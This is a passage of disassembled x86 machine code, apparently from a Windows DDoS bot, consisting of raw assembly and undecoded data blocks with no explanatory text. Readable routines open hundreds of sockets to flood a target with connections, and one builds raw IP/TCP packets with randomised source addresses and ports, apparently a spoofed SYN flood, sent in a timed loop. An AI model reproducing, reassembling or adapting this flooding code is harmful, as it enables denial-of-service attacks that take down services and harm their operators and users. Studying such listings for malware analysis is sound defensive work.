; ---------------------------------------------------------------------------

loc_412E26:				; CODE XREF: sub_412B08+2E0j
					; sub_412B08+2EEj
		mov	ebx, [ebp+arg_8]

loc_412E29:				; CODE XREF: sub_412B08+78j
					; sub_412B08+31Cj
		push	[ebp+var_20]
		call	dword_4CB00C
		pop	esi

loc_412E33:				; CODE XREF: sub_412B08+5Bj
		call	dword_4CAECC
		mov	eax, ebx

loc_412E3B:				; CODE XREF: sub_412B08+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B08	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B08
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8E
		push	1
		pop	eax

loc_412E8E:				; CODE XREF: ___:00412E89j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_412E9D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6721o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh
		dd 50004CAFh, 0FC44858Dh, 1C68FFFFh, 5000435Ch,	8995E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
		dd 59FFFF84h, 0C9E85759h, 90022DD0h, 6AF44D8Dh,	0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CAF5415h
		db 0, 83h
word_412F4E	dw 0FFF8h		; DATA XREF: ___:off_43A184o
		dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BECh, 891CE850h
		dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
		dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h,	846CE8C8h
		dd 5959FFFFh, 51E89057h, 8D022DD0h, 0FFFE4885h,	15FF50FFh
		dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BCCh, 88B4E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
		dd 575959FFh, 2DCFEBE8h, 106A9002h, 57E4458Dh, 856EE850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0DCE805C6h
		dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch
		dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch
		dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h
		dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
		dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h
		dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h
		dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h
		dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h
		dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh,	0FF004CB0h
		dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh,	435B8468h
		dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h,	0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 0CE02E857h
		dd 0FF90022Dh, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B3868h
		dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 97E8C875h, 59FFFF81h, 7DE85759h, 90022DCDh
dword_413284	dd 0B8EC8B55h, 10320h, 888FE8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+550Fo
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h
		dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h
		dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 7468FFFFh, 5000435Ch, 8589E8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
		dd 2DCCBFE8h, 0C33B9002h, 408B0C74h, 8B008B0Ch,	0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CAE8Ch, 0C0753B46h,	75FFDA7Ch, 2C15FF08h, 8D004CB0h
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C4868h, 0BBE85000h
		dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
		dd 59FFFF80h, 0E8905359h, 22DCBF0h
dword_413410	dd 0B8EC8B55h, 10310h, 8703E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+575Bo
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0D24AE800h
		dd 50900228h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	0C868FFFFh
		dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Dh
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	0DBE81175h
		dd 99000083h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	838DE8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 27CA5BE8h
		dd 754E9002h, 0DC7D39CEh, 2FE8BC75h, 99000083h,	0FFDCB9h
		dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h,	50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 9C68FFFFh, 5000435Ch,	82A5E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
		dd 575959FFh, 0C9DAE890h
		db 2Dh,	2
word_413626	dw 8B55h		; DATA XREF: sub_401ACD+4DECo
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 5CF068FFh, 0E8500043h, 820Ah, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h,	5959FFFFh
		dd 3DE89056h, 5F022DC9h
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C5	proc near		; CODE XREF: ___:004137AEp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413783
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h

loc_413710:				; CODE XREF: sub_4136C5+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_413718:				; CODE XREF: sub_4136C5+7Aj
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373B
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah

loc_41373B:				; CODE XREF: sub_4136C5+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413718
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_413749:				; CODE XREF: sub_4136C5+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_413749
		push	64h
		call	near ptr 2690000h
		nop
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_41376D:				; CODE XREF: sub_4136C5+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_41376D
		dec	[ebp+arg_4]
		jnz	short loc_413710
		pop	edi
		pop	esi
		pop	ebx

loc_413783:				; CODE XREF: sub_4136C5+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C5	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BD
		push	1
		pop	eax

loc_4137BD:				; CODE XREF: ___:004137B8j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4137CC	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+6449o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D1Ch, 8064E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF7BB2h, 90565959h, 2DC797E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386B	proc near		; CODE XREF: ___:00413B59p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAEE4
		test	eax, eax
		jz	short loc_4138AB
		xor	eax, eax
		jmp	loc_413B19
; ---------------------------------------------------------------------------

loc_4138AB:				; CODE XREF: sub_41386B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB018
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B11
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CAF54
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B07
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CAF74
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CAF74
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CAF74
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CAF74
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27B0000h
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27A0ADEh
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_413996:				; CODE XREF: sub_41386B+25Dj
					; sub_41386B+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAF74
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAF74
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAF70
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAF74
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CAFD8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 27A0ADEh
		nop
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B04
		jl	loc_413996
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B04
		jmp	loc_413996
; ---------------------------------------------------------------------------

loc_413ADB:				; CODE XREF: sub_41386B+247j
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435D44
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_413B07
; ---------------------------------------------------------------------------

loc_413B04:				; CODE XREF: sub_41386B+25Bj
					; sub_41386B+269j
		mov	ebx, [ebp+arg_8]

loc_413B07:				; CODE XREF: sub_41386B+78j
					; sub_41386B+297j
		push	[ebp+var_C]
		call	dword_4CB00C
		pop	esi

loc_413B11:				; CODE XREF: sub_41386B+5Bj
		call	dword_4CAECC
		mov	eax, ebx

loc_413B19:				; CODE XREF: sub_41386B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386B	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386B
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B68
		push	1
		pop	eax

loc_413B68:				; CODE XREF: ___:00413B63j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413B77	db 55h			; DATA XREF: sub_401ACD+6E44o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 6468FFFFh, 5000435Dh
		dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3E8F075h, 59FFFF78h,	0E9E85659h, 90022DC3h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch
		dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h,	89008B00h
		dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 5415FFFCh, 0BE004CAFh, 200h,	77D3E856h, 3D8B0000h, 4270A8h
		dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh,	0F9F7CB8Bh
		dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 7B52h,	0E0458966h, 7B49E8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh,	0E2458966h
		dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h,	0FFFC75FFh
		dd 4CB00C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_413E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+53E8o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270A8h
		dd 0E850D7FFh, 7A58h, 0FF6859h,	36A0000h, 15FF026Ah, 4CAFF4h
		dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch,	0FFFBC085h
		dd 5E7C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh,	858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
		dd 535959FFh, 0C102E890h, 4D8D022Dh, 51046ACCh,	5053026Ah
		dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h
		dd 0C0858D50h, 68FFFFFBh, 435E44h, 7958E850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22DC084h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 435E2468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
		dd 15E85359h, 90022DC0h, 458D106Ah, 0E85053BCh,	7598h
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CAF74h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 73E82D74h, 8B000078h
		dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
		dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh
		dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
